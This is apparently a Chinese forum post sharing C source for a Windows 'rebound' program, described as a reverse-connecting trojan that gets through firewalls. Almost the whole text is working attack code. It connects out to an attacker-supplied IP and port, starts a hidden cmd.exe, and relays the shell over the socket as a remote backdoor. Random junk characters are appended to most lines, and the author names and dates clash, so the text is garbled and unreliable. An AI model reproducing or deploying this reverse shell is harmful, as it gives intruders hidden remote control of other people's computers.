这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OJ!=xTU%h
O~~WP*N
/* ============================== Tt\h#E
Rebound port in Windows NT |X6/Y@N
By wind,2006/7 .,+TpPkc
===============================*/ %!X9>i>
#include 4M,Q{G|e
#include Z(c3GmY
'ugc=-0pd
#pragma comment(lib,"wsock32.lib") 6)j4-
{@YY8SKb9
void OutputShell(); 'h.:-1# L
SOCKET sClient; aTL u7C\-e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; INjr$'*
P#o"T4 >
void main(int argc,char **argv) 56`Tna,t
{ 1~aP)q
WSADATA stWsaData; g:rjt1w`D
int nRet; F :p9y_W
SOCKADDR_IN stSaiClient,stSaiServer; J<;@RK,c_
d":GsI?3
if(argc != 3) ?_V&~?r
{ `G0GWh)`x
printf("Useage:\n\rRebound DestIP DestPort\n"); oo4aw1d
return; :/<SJ({q
} 3[F9qDAy
Vl\8*!OL%
WSAStartup(MAKEWORD(2,2),&stWsaData); l.nd Wv
!> 2kH
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E>I\m!ue
0 *^>/*
stSaiClient.sin_family = AF_INET; dYxX%"J
stSaiClient.sin_port = htons(0); O3K TKL]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w]O[{3"
9Rd&Jq^
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UI%Z`.&
{ a2%xW_e
printf("Bind Socket Failed!\n");
Swr
8
return; *'to#_n&W
} ``:+*4e9
A}3dx!?7j
stSaiServer.sin_family = AF_INET; l' mdj!{&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); YMr2|VEU[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &m=73RN
j[Q9_0R~lR
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R(AS$<p{!>
{ h
]6:`5-
printf("Connect Error!"); J5Ovj,[EZ
return; ;1AXu/
} m-u0U
OutputShell(); slTE.
} XT%\Ce!
r\T'_wo
void OutputShell() pt$\pQ
{ nr]:Y3KyxX
char szBuff[1024]; sOqT*gwr:
SECURITY_ATTRIBUTES stSecurityAttributes; (|9t+KP
OSVERSIONINFO stOsversionInfo; U-U"RC>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /P%OXn$i/
STARTUPINFO stStartupInfo; O;lGh1.
char *szShell; w&[&ZDsK
PROCESS_INFORMATION stProcessInformation; ISHzlEY
unsigned long lBytesRead; W"n0x8~sV
<q.Q,_cW
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h<<uef9
'4ip~>3?w
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kt2W7.A5
stSecurityAttributes.lpSecurityDescriptor = 0; u*=8s5Q[
stSecurityAttributes.bInheritHandle = TRUE; /Os6i&;
A9_}RJ9
JnIE6@g<y
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `n?Rxhkwp
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G
_-JR
hN^,'O
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IqAML|C
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |i\%>Y,
stStartupInfo.wShowWindow = SW_HIDE; +l hJ8&
stStartupInfo.hStdInput = hReadPipe; Mz 6PH)e;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `Kbf]"4q
")YD~ZA%)
GetVersionEx(&stOsversionInfo); =6'Fm$R
Dv"HFQuF
switch(stOsversionInfo.dwPlatformId) Marx=cNj
{ UQ#t &
case 1: BUS4 T#D
szShell = "command.com"; VVJIJ9L&C
break; 9? y&/D5O
default: *3\*GatJ
szShell = "cmd.exe"; =Hbf()cN)
break; P W_"JZ
} `gAW5 i-z5
Z`<5SHQd
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oy-y QYX
H/U.Bg 4
send(sClient,szMsg,77,0); v\o
m
while(1) l;d4Le
{ C#LTF-$])
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =m;,?("7t3
if(lBytesRead) $0Ys{m
{ \ `;1[m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;,/4Ry22j-
send(sClient,szBuff,lBytesRead,0); "H#pN;)+
} 5.$/]2VK
else @jCMQYR
{ %xrldn%
lBytesRead=recv(sClient,szBuff,1024,0); !bs5w_@
if(lBytesRead<=0) break; mw&'@M_(7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {T-=&%||
} x[=,$;o+
} 6UI6E)g
A0,h7<i
return; a<J<Oc!
}